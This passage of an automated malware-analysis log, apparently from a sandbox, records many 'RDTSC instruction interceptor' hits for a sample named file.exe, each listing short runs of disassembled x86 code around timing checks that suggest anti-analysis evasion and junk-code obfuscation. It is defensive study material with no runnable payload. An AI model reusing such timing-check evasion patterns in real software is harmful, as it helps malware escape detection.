inc ebx 0x00000067 push ebx 0x00000068 ret 0x00000069 pop ebx 0x0000006a ret 0x0000006b pushad 0x0000006c movzx ecx, di 0x0000006f popad 0x00000070 push eax 0x00000071 push eax 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98DFA6 second address: 98E000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 jmp 00007F3AB92655FFh 0x0000000e mov dword ptr [ebp+122D1D46h], esi 0x00000014 push 00000000h 0x00000016 mov ebx, dword ptr [ebp+122D3943h] 0x0000001c push 00000000h 0x0000001e movsx edi, bx 0x00000021 xchg eax, esi 0x00000022 jbe 00007F3AB9265600h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F3AB9265609h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E000 second address: 98E004 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E004 second address: 98E00A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98E00A second address: 98E014 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3AB9282496h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BF9E second address: 98BFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BFA2 second address: 98BFA8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D016 second address: 98D01E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D01E second address: 98D024 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BFA8 second address: 98C04E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F3AB92655FFh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push edi 0x00000011 call 00007F3AB92655F8h 0x00000016 pop edi 0x00000017 mov dword ptr [esp+04h], edi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc edi 0x00000024 push edi 0x00000025 ret 0x00000026 pop edi 0x00000027 ret 0x00000028 sub dword ptr [ebp+122D28FEh], eax 0x0000002e push dword ptr fs:[00000000h] 0x00000035 movsx ebx, cx 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f jng 00007F3AB92655F7h 0x00000045 stc 0x00000046 mov eax, dword ptr [ebp+122D159Dh] 0x0000004c mov bx, 6FA4h 0x00000050 call 00007F3AB9265607h 0x00000055 mov edi, 3DF81FE6h 0x0000005a pop edi 0x0000005b push FFFFFFFFh 0x0000005d call 00007F3AB92655FEh 0x00000062 mov dword ptr [ebp+122D1C34h], ebx 0x00000068 pop ebx 0x00000069 pushad 0x0000006a mov ax, E9D4h 0x0000006e add dword ptr [ebp+122D36CAh], edx 0x00000074 popad 0x00000075 push eax 0x00000076 pushad 0x00000077 push eax 0x00000078 push edx 0x00000079 pushad 0x0000007a popad 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99014E second address: 990153 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98F180 second address: 98F19B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3AB9265606h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 990153 second address: 9901E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jc 00007F3AB92824AFh 0x0000000e pushad 0x0000000f jmp 00007F3AB92824A5h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 nop 0x00000018 add bl, 00000031h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F3AB9282498h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 0000001Bh 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 jmp 00007F3AB928249Dh 0x0000003c push ebx 0x0000003d mov dword ptr [ebp+122D193Ah], edi 0x00000043 pop edi 0x00000044 push 00000000h 0x00000046 jmp 00007F3AB92824A8h 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e jmp 00007F3AB92824A3h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9901E8 second address: 9901ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99043A second address: 99043F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99203B second address: 99204B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F3AB92655FCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99204B second address: 99204F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992FED second address: 992FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9930FD second address: 993166 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a jmp 00007F3AB928249Ch 0x0000000f pop eax 0x00000010 jnl 00007F3AB9282498h 0x00000016 popad 0x00000017 nop 0x00000018 push dword ptr fs:[00000000h] 0x0000001f jmp 00007F3AB928249Dh 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b mov edi, dword ptr [ebp+122D38F7h] 0x00000031 add dword ptr [ebp+122D28E3h], edi 0x00000037 mov eax, dword ptr [ebp+122D0575h] 0x0000003d or di, 531Ch 0x00000042 push FFFFFFFFh 0x00000044 push eax 0x00000045 pushad 0x00000046 jmp 00007F3AB928249Eh 0x0000004b push eax 0x0000004c push edx 0x0000004d push ebx 0x0000004e pop ebx 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A0AE second address: 99A0CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F3AB92655F6h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f js 00007F3AB9265602h 0x00000015 jp 00007F3AB92655F6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A0CB second address: 99A0CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A0CF second address: 99A0D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F3AB92655F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999880 second address: 999885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999885 second address: 9998A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F3AB92655FEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jnp 00007F3AB92655F6h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999B6B second address: 999B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999B71 second address: 999B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 jmp 00007F3AB9265604h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999CD2 second address: 999CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A04D6 second address: 9A04DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A04DA second address: 9A04DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A04DE second address: 9A04E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A04E4 second address: 9A0515 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB928249Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F3AB92824A6h 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0515 second address: 9A0519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A05C3 second address: 9A0603 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3AB9282496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jg 00007F3AB928249Eh 0x00000014 js 00007F3AB9282498h 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d pushad 0x0000001e jmp 00007F3AB928249Ah 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 pushad 0x00000027 pushad 0x00000028 popad 0x00000029 jo 00007F3AB9282496h 0x0000002f popad 0x00000030 popad 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 push ebx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6D1A second address: 9A6D1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6E66 second address: 9A6E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6E72 second address: 9A6E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3AB9265604h 0x0000000e jg 00007F3AB92655F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A6E95 second address: 9A6EA5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AB9282496h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A703C second address: 9A7042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A73E5 second address: 9A7420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3AB92824A0h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007F3AB92824BFh 0x00000013 jmp 00007F3AB928249Fh 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F3AB9282496h 0x00000020 jne 00007F3AB9282496h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7577 second address: 9A7581 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AB92655F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A7581 second address: 9A758F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F3AB9282496h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A758F second address: 9A75B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c js 00007F3AB926560Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F3AB92655F6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A75B2 second address: 9A75B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ABE72 second address: 9ABE78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DB72 second address: 97DB81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AB928249Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97DB81 second address: 95BE06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB9265609h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F3AB92655F8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Ch 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 sbb ecx, 3C638A76h 0x0000002c lea eax, dword ptr [ebp+124948FDh] 0x00000032 push 00000000h 0x00000034 push ebx 0x00000035 call 00007F3AB92655F8h 0x0000003a pop ebx 0x0000003b mov dword ptr [esp+04h], ebx 0x0000003f add dword ptr [esp+04h], 00000014h 0x00000047 inc ebx 0x00000048 push ebx 0x00000049 ret 0x0000004a pop ebx 0x0000004b ret 0x0000004c mov edi, esi 0x0000004e push eax 0x0000004f pushad 0x00000050 ja 00007F3AB92655FCh 0x00000056 jmp 00007F3AB92655FEh 0x0000005b popad 0x0000005c mov dword ptr [esp], eax 0x0000005f add edx, 562DA619h 0x00000065 call dword ptr [ebp+122D36D1h] 0x0000006b push eax 0x0000006c push edx 0x0000006d push eax 0x0000006e push edx 0x0000006f pushad 0x00000070 popad 0x00000071 jbe 00007F3AB92655F6h 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E1EB second address: 97E242 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 142D4783h 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F3AB9282498h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000015h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 cmc 0x00000029 mov di, 9EB2h 0x0000002d call 00007F3AB9282499h 0x00000032 js 00007F3AB92824A1h 0x00000038 jmp 00007F3AB928249Bh 0x0000003d push eax 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 pushad 0x00000042 popad 0x00000043 js 00007F3AB9282496h 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E242 second address: 97E247 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E247 second address: 97E296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB928249Ah 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 jmp 00007F3AB928249Bh 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F3AB92824A6h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F3AB92824A1h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E397 second address: 97E39C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E407 second address: 97E465 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92824A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F3AB928249Ah 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F3AB92824A2h 0x00000015 xchg eax, esi 0x00000016 mov edi, dword ptr [ebp+122D29EEh] 0x0000001c nop 0x0000001d jmp 00007F3AB92824A9h 0x00000022 push eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 je 00007F3AB9282496h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E465 second address: 97E469 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E469 second address: 97E477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F3AB9282496h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E477 second address: 97E47B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E722 second address: 97E774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ebx 0x0000000c call 00007F3AB9282498h 0x00000011 pop ebx 0x00000012 mov dword ptr [esp+04h], ebx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ebx 0x0000001f push ebx 0x00000020 ret 0x00000021 pop ebx 0x00000022 ret 0x00000023 push 00000004h 0x00000025 sbb di, 0F8Eh 0x0000002a nop 0x0000002b jbe 00007F3AB92824A4h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jnp 00007F3AB9282498h 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E75F second address: 97E763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97E763 second address: 97E774 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F3AB9282498h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C928 second address: 95C940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB9265602h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C940 second address: 95C94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F3AB9282496h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C94D second address: 95C959 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95C959 second address: 95C96E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB928249Ch 0x00000009 push eax 0x0000000a pop eax 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB2FB second address: 9AB300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB300 second address: 9AB322 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 jmp 00007F3AB92824A0h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007F3AB92824CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB322 second address: 9AB328 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB328 second address: 9AB32C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AB73B second address: 9AB748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B02F4 second address: 9B0302 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F3AB9282496h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0302 second address: 9B0317 instructions: 0x00000000 rdtsc 0x00000002 je 00007F3AB92655F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b je 00007F3AB9265608h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0317 second address: 9B031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B031B second address: 9B031F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0457 second address: 9B045D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0AC2 second address: 9B0ACC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0008 second address: 9B000F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B000F second address: 9B0045 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AB9265606h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AB9265609h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0045 second address: 9B004D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B128B second address: 9B12A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AB92655FDh 0x00000007 je 00007F3AB92655F6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B12A2 second address: 9B12B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3AB92824A1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B482E second address: 9B4857 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jbe 00007F3AB92655F6h 0x0000000c jmp 00007F3AB9265608h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B4857 second address: 9B485B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B95C8 second address: 9B95CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B95CC second address: 9B95D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
